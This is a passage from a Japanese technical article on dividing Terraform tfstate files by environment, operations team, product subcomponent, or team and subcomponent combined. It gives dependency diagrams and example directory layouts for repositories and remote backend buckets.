(AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例:アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)▶ おすすめ度について【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ └── terraform.tfstate # frontendチームの状態を持つ│├── \uD83D\uDCC2 backend-team│ └── terraform.tfstate # backendチームの状態を持つ│└── \uD83D\uDCC2 sre-team └── terraform.tfstate # sreチームの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...プロダクトのサブコンポーネント別 - ★★この分割方法についてプロダクトのサブコンポーネント (例:アプリ、ネットワーク、認証/認可、監視など) 別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、サブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Things to Know Before Working With Terraform – Part 1 | EndavaTerraform organization — Part I : What if you split your components ? | by Amine Charot | Medium▶ おすすめ度についてterraform_remote_stateブロック地獄になっていくため、適切な数 (3〜5個くらい) にしておくように注意が必要です。この分割方法は、後述のAWSリソースの種類グループとごっちゃになってしまう場合があるため、プロダクトのサブコンポーネントとして意識的に分割させる必要があります\uD83D\uDC4D【サブコンポーネント別】状態の依存関係図例えば、以下のサブコンポーネントに分割した状況と仮定します。application (Web3層系)auth (認証/認可系)monitor (監視系)network (ネットワーク系)ここで仮定した状況では、各プロダクトの tfstate ファイルの依存は一方向最終的に、networkサブコンポーネントやauthサブコンポーネントの tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロダクトのサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket application[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, APIGateway, CloudFront, EC2, ECS, EKS, RDS, S3, SNS, など)\\"] auth[\\"auth-tfstate
(IAMなど)\\"] monitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] application-..->network application-..->auth monitor-..->application end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリポジトリで管理するとリポジトリが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリポジトリの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 application/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── alb.tf│ ├── cloudfront.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # applicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # authコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # monitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # networkコンポーネントの状態を持つ tfstate ファイルを指定する ...【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロダクトのサブコンポーネント別の分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロダクトのサブコンポーネント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 application│ └── terraform.tfstate # applicationコンポーネントの状態を持つ│├── \uD83D\uDCC2 auth│ └── terraform.tfstate # authコンポーネントの状態を持つ│├── \uD83D\uDCC2 monitor│ └── terraform.tfstate # monitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 network └── terraform.tfstate # networkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせてtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チーム内のサブコンポーネントの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図以下の運用チームに分割した状況と仮定します。また、各運用チームでTerraformを変更できる管理者が相当数するため、プロダクトのサブコンポーネント別にも分割したとします。frontendチームapplicationmonitorbackendチームapplicationmonitorsreチームapplicationauthmonitornetworkここで仮定した状況では、各プロダクトのtfstateファイルの依存は一方向最終的に、sreチームの管理する tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket subgraph frontend-team frontendApplication[\\"application-tfstate
(CloudFront, S3, など)\\"] frontendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph backend-team backendApplication[\\"application-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] backendMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] end subgraph sre-team sreApplication[\\"application-tfstate
Web3層と周辺AWSリソース
(ALB, EC2, ECS, EKS, SNS, など)\\"] auth[\\"auth-tfstate
(IAM, など)\\"] sreMonitor[\\"monitor-tfstate
(CloudWatch, など)\\"] network[\\"network-tfstate
(Route53, VPC, など)\\"] end frontendApplication-...->network sreApplication-...->auth sreApplication-...->network backendApplication-...->auth backendApplication-...->network frontendMonitor-...->frontendApplication sreMonitor-...->sreApplication backendMonitor-...->backendApplication end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── ses.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── api_gateway.tf│ ├── elasticache.tf│ ├── rds.tf│ ├── ses.tf│ ├── sns.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # backendチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 monitor/ ├── provider.tf ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── cloudwatch.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # backendチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/├── \uD83D\uDCC2 application/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── alb.tf│ ├── ec2.tf│ ├── ecs.tf│ ├── eks.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するapplicationコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 auth/│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── iam.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するauthコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 monitor/│ ├── provider.tf│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudwatch.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # sreチームが管理するmonitorコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 network ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── route53.tf ├── vpc.tf ├── \uD83D\uDCC2 tes/ # Tes環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ # Stg環境 │ ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # sreチームが管理するnetworkコンポーネントの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、同じリポジトリで管理するとリポジトリが巨大になってしまいます。そのため、これはお勧めしません。【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせる分割パターンの場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、運用チーム責務範囲別とプロダクトサブコンポーネント別を組み合わせて分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 frontend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # frontendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # frontendチームが管理するmonitorコンポーネントの状態を持つ│├── \uD83D\uDCC2 backend-team│ ├── \uD83D\uDCC2 application│ │ └── terraform.tfstate # backendチームが管理するapplicationコンポーネントの状態を持つ│ ││ └── \uD83D\uDCC2 monitor│ └── terraform.tfstate # backendチームが管理するmonitorコンポーネントの状態を持つ│└── \uD83D\uDCC2 sre-team ├── \uD83D\uDCC2 application │ └── terraform.tfstate # sreチームが管理するapplicationコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 auth │ └── terraform.tfstate # sreチームが管理するauthコンポーネントの状態を持つ │ ├── \uD83D\uDCC2 monitor │ └── terraform.tfstate # sreチームが管理するmonitorコンポーネントの状態を持つ │ └── \uD83D\uDCC2 network └── terraform.tfstate # sreチームが管理するnetworkコンポーネントの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...同じテナント内のプロダクト別この分割方法について同じテナント (例:同じAWSアカウントの同じVPC) 内に複数の小さなプロダクトがある場合、プロダクト別でtfstateファイルを分割し、中間層もこれに基づいて設計します。ここでいうプロダクトは、アプリを動かすプラットフォーム (例:EKS、ECS、AppRunner、EC2) 